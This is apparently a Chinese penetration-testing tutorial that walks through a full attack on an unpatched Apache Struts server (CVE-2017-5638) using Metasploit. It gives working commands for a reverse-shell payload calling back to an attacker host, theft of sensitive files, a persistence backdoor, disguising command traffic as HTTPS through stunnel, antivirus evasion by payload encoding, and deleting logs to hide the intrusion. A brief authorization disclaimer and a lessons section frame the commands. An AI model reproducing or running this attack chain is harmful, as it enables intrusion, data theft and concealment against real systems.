一、初次接触:从一个真实渗透案例开始
在某次渗透测试中,我们的目标是一家技术服务公司。在信息收集阶段,我们发现该公司的主机上运行着一个未更新的Apache Struts框架。众所周知,Apache Struts曾因为一个严重的远程代码执行漏洞(CVE-2017-5638)而被广泛利用。这个漏洞允许攻击者通过特制的Content-Type HTTP请求头来执行任意命令。
授权声明:本文仅限授权安全测试,供安全研究人员学习。
信息收集与漏洞探测
我们的目标是定位这个漏洞并确认它是否存在。使用Metasploit,我们可以轻松地扫描和识别目标系统上的漏洞。以下是执行该步骤的具体命令:
<pre><code class="language-shell">use auxiliary/scanner/http/struts2_content_type set RHOSTS [目标IP] run</code></pre>
在运行上述命令后,Metasploit会尝试在目标系统上识别该漏洞。命令执行成功后,我们会收到一个提示,告诉我们目标系统确实易受攻击。
进入渗透:绕过防护机制
在确认漏洞存在后,我们需要深入研究目标的安全措施。这家公司部署了一些基本的Web应用防火墙,不会允许直接执行攻击载荷。为此,我们需要设计一个看似无害但能绕过防火墙的Payload。
我们可以通过Metasploit中的msfvenom工具来制作一个定制化的Payload,尽量隐藏恶意行为:
<pre><code class="language-shell">msfvenom -p java/meterpreter/reverse_tcp LHOST=[攻击者IP] LPORT=4444 -f raw -o payload.txt</code></pre>
此时我们已经拥有一个能够绕过简单防火墙检测的Payload,接下来我们将使用它进行攻击。
攻击展开:漏洞利用与权限获取
在这个阶段,我们会开始利用漏洞,通过Metasploit来执行攻击。我们将使用以下步骤来启动攻击载荷:
- 启动Metasploit:

`shell msfconsole `
- 加载Exploit模块:
`shell use exploit/multi/http/struts2_content_type set RHOST [目标IP] set payload java/meterpreter/reverse_tcp set LHOST [攻击者IP] set LPORT 4444 exploit `
通过这一系列命令,我们能够成功获得目标主机的会话。这让我们进一步执行系统命令,获取敏感数据和提升权限。
数据窃取与权限维持
一旦我们获得了Meterpreter会话,我们可以进行各种操作来窃取数据并在系统中维持访问权限。以下是一些常用的Meterpreter命令:
- 获取系统信息:
`shell sysinfo `
- 下载文件:
`shell download /var/www/html/sensitive_data.txt `
- 创建持久性后门:
`shell run persistence -X -i 10 -p 4444 -r [攻击者IP] `
上述命令会在目标系统启动时自动连接攻击者的系统,使得攻击者能够长期访问目标系统。
二、流量捕获实战:绕过检测与免杀技术

即便在权限获取后,保持隐蔽是至关重要的。在这个阶段,我们会介绍如何伪装攻击流量以及实施流量免杀技术。
流量伪装技巧
为了避免被IDS/IPS系统检测到,我们会对攻击流量进行伪装。可以通过使用以下技术来实现:
- 协议伪装:将恶意流量伪装成常见网络协议流量。
- 加密:使用SSL/TLS加密数据包,增加流量分析难度。
实现流量伪装的步骤
- 使用stunnel进行SSL封装:
`shell sudo apt-get install stunnel stunnel /etc/stunnel/stunnel.conf `
- 配置stunnel.conf文件:
`plaintext [meterpreter] accept = 443 connect = [攻击者IP]:4444 cert = /etc/stunnel/server.pem `
通过以上设置,恶意流量会被包装成HTTPS流量,增加检测难度。
免杀Payload构造
为了绕过目标系统中的杀毒软件,我们需要对Payload进行免杀处理。可以通过以下方式实现:
- 使用编码器:
`shell msfvenom -p java/meterpreter/reverse_tcp LHOST=[攻击者IP] LPORT=4444 -e x86/shikata_ga_nai -i 10 -f jar -o payload.jar `
- 自定义混淆:编写自定义混淆算法以隐藏Payload中的恶意特征。
通过这些技术,我们能够有效地执行攻击而不会被杀毒软件检测到。
三、深入破解:攻击全过程实录
环境搭建与测试

为了执行一个全面的渗透测试,我们需要搭建一个包含目标应用程序和安全防护措施的测试环境。以下是搭建该环境的步骤:
- 设置Web服务器: 安装Apache并部署Struts应用。
`shell sudo apt-get install apache2 `
- 安装防火墙软件: 部署简单的web应用防火墙进行防护测试。
`shell sudo apt-get install mod_security `
- 设置攻击者系统: 准备一个安装了Metasploit的攻击者系统。
通过该环境,我们可以模拟真实的攻击场景,并测试各种攻击技术的有效性。
完整攻击链的实现
在进行渗透测试时,保持攻击链的完整性至关重要。从信息收集到痕迹清除,每个阶段都需要精心设计和执行。以下是完整攻击链的实现步骤:
- 信息收集:扫描和指纹识别目标系统。
`shell nmap -sV -p- [目标IP] `
- 漏洞探测:识别系统漏洞。
`shell use auxiliary/scanner/http/struts2_content_type set RHOSTS [目标IP] run `

- Payload生成与感染:制作并注入Payload。
`shell msfvenom -p java/meterpreter/reverse_tcp LHOST=[攻击者IP] LPORT=4444 -f jar -o payload.jar `
- 权限提升与维持:执行持久性后门和数据窃取。
`shell run persistence -X -i 10 -p 4444 -r [攻击者IP] `
- 痕迹清除:删除日志和痕迹,确保攻击隐蔽性。
`shell meterpreter > clearev meterpreter > rm /var/log/apache2/access.log `
通过以上步骤,我们能够在目标系统中执行完整的攻击链,实现真实的渗透测试效果。
四、逆向思维:个人经验与教训分享
攻击者的思维模式
作为一名渗透测试人员,思维模式是成功的关键。保持攻击者的视角,让我们能够预测和规避目标的防御措施。以下是一些个人经验分享:
- 灵活运用工具:工具只是手段,关键在于如何灵活运用它们来实现攻击目标。
- 不断学习新技术:攻击手段永远在更新,保持学习才能跟上时代。
- 保持耐心与细致:渗透测试需要细致入微的观察和耐心的等待。
教训与改进
在实际攻击过程中,我们也遇到过许多困难,这些都是宝贵的教训:
- 过于依赖自动化工具:自动化工具有时会遗漏细节,手动检查仍然必不可少。
- 忽视目标系统的复杂性:每个目标系统都有其特殊性,必须根据实际情况调整攻击策略。
- 低估防御措施:目标的安全防护可能比想象中更强大,绕过它们需要更深入的研究。
通过不断总结经验和教训,我们能够在未来的渗透测试中表现得更为出色。
结语
在这篇文章中,我们探讨了Metasploit渗透测试的全过程,从信息收集到痕迹清除。希望这些技术细节和个人经验能够为读者提供一个全面的视角,帮助他们在授权的安全测试中取得更好的效果。记住,任何攻击行为都需要在合法合规的框架下进行。学会保护自己,也帮助他人提高安全意识。